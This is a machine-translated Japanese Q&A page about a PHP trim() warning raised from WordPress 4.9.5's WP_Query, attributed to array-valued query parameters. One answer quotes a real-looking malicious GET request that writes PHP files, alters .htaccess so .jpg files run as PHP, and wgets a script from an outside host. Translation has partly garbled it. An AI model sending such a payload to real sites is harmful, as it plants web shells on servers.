web-dev-qa-db-ja.com

Wordpress 4.9.5 PHP 断続的な警告trim()は、パラメータ1が文字列、配列指定であることを期待します

私はWordpress 4.9.5を実行していて、時々私のログに次のエラーを見ます。

E_WARNING: trim() expects parameter 1 to be string, array given

スタックトレースはこのように見えるので、カスタムテーマコードから来たものではありません。

in trim called at /var/www/wordpress/html/wp-includes/class-wp-query.php (736)
…::parse_query called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (1621)
…ry::get_posts called at /var/www/wordpress/html/wp-includes/
class-wp-query.php (3230)
in WP_Query::query called at /var/www/wordpress/html/wp-includes/class-wp.php (599)
in WP::query_posts called at /var/www/wordpress/html/wp-includes/class-wp.php (715)
in WP::main called at /var/www/wordpress/html/wp-includes/functions.php (960)
in wp called at /var/www/wordpress/html/wp-blog-header.php (16)
in require called at /var/www/wordpress/html/index.php (17)

これは既知または未知のWordpressのバグですか?それに対する修正はありますか?

4
crmpicco

私は今日これに遭遇した。それはバグです。私はここにバグレポートを提出しました:

https://core.trac.wordpress.org/ticket/46797

問題はこのコード行です。

$qv['name'] = trim( $qv['name'] );

ソース: https://github.com/WordPress/wordpress-develop/blob/a0ca5afd8977b5a3857084d9cb1bd345166e2f21/src/wp-includes/class-wp-query.php#L764

悪意のあるユーザーが次のようなリクエストを送信します。

GET /?q =ユーザー/パスワードと名前[#post_render] [] =パススルーと名前[#タイプ] =マークアップと名前[#マークアップ] =エコー今それをパッチ! > vuln.htm; echo 'Vuln !!'> sites/default/files/vuln.php; echo 'Vuln !!'> vuln.php; cd sites/default/files /; echo 'AddTypeアプリケーション/ x-httpd-php .jpg'> .htaccess; wget ' http://40k.waszmann.de/Deutsch/images/up.php '

そのような要求は$ qv ['name']を文字列ではなく配列にします。

消毒する必要があります。

3
conner_bw